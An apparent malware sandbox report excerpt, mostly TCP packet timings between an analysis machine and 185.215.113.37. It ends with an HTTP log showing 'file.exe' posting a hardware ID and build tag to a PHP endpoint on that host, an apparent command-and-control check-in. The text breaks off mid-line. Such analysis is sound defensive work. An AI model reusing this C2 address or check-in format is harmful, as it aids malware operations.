Oct 13, 2024 14:49:27.253355026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253361940 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253362894 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253380060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253396034 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253582954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253598928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253614902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253628969 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253658056 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253665924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253679037 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253681898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253696918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253705025 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253714085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253720045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253730059 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253736019 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253746986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253762007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253762960 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253762960 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253777981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253778934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253793955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253798962 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253808022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253810883 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253823996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253827095 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253846884 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253854990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254206896 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254221916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254239082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254246950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254255056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254256964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254271030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254278898 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254286051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254288912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254301071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254307032 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254317045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254322052 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254333019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254333973 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254348993 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254352093 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254364967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254373074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254379988 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254384041 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254395962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254401922 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254411936 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254429102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254648924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254688025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254692078 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254703045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254718065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254719973 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254733086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254734039 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254749060 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254755020 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254764080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254766941 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254780054 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254786015 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254796028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254800081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254812956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254813910 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254828930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254836082 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254843950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254848957 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254861116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.254867077 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254877090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.254900932 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.255065918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.255083084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.255099058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.255110025 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.255127907 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.255146027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.255176067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.255192995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.255207062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.255213976 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.255227089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.255249023 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.255353928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.255399942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.255399942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.255413055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.255429029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.255434036 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.255449057 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.255469084 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.256063938 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.256105900 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.256114960 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.256129026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.256149054 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.256165981 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.296112061 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.296237946 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.342318058 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.347260952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570265055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570292950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570310116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570357084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570359945 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570370913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570393085 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570393085 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570409060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570439100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570455074 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570471048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570487022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570503950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570503950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570513964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570538044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570595026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570610046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570626020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570641041 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570642948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570656061 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570683956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570720911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570734978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570771933 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570837975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570852041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570866108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570882082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570895910 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570905924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570913076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570928097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.570930958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570961952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.570979118 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571029902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571047068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571089983 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571131945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571146965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571161032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571171045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571201086 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571324110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571340084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571355104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571367979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571382999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571392059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571400881 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571403980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571419954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571429014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571455002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571485043 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571521997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571536064 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571569920 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571753025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571768999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571784019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571799994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571806908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571815014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571829081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571836948 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571845055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571858883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571857929 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571875095 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571877956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571888924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571903944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571913004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571918964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571923971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571937084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571954012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.571954012 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.571974993 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.572002888 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.572210073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.572225094 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.572242022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.572246075 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.572257996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.572273970 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.572273970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.572280884 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.572287083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.572304010 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.572320938 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.572352886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.572369099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.572384119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.572397947 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.572426081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.572927952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.572968006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.573007107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.573020935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.573052883 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.573067904 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.573400974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.573467016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.573472977 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.573481083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.573503017 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.573524952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.575011969 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.575045109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.575062037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.575076103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.575078964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.575090885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.575098991 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.575104952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.575109005 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.575155973 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.575381041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.575400114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.575443983 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.575525045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.575539112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.575572014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.575584888 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.575601101 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.575959921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.575975895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.575989962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.576025963 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.576054096 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.659118891 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.659174919 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:28.218183041 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:28.218277931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:28.222954035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:28.223153114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:30.136540890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:30.136622906 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:30.182777882 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:30.188205957 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:30.413322926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:30.413366079 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:30.413477898 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:30.413477898 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:30.502865076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:30.502881050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:30.503051043 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:30.576896906 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:30.581665039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:30.806411982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:30.806499958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:30.829539061 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:30.834845066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.550118923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.550194025 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.573283911 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.578510046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.813736916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.813756943 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.813941002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.813941002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.814544916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.814568996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.814584970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.814726114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.814726114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.815063953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.815090895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.815104008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.815241098 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.815241098 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.815906048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.815953970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.815965891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.815989971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.817100048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.817130089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.817142963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.817152023 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.817167997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.817203999 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.902981043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:31.903060913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.904756069 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:31.909667015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:32.627232075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:32.627358913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:37.628854036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:37.628921032 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:38.155325890 CEST	49720	80	192.168.2.6	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49720	185.215.113.37	80	4388	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 13, 2024 14:49:14.440120935 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 14:49:15.156559944 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 12:49:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 14:49:15.220819950 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEH Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 32 43 41 37 38 34 43 39 35 42 33 34 30 37 37 39 30 35 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 2d 2d 0d 0a Data Ascii: ------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; 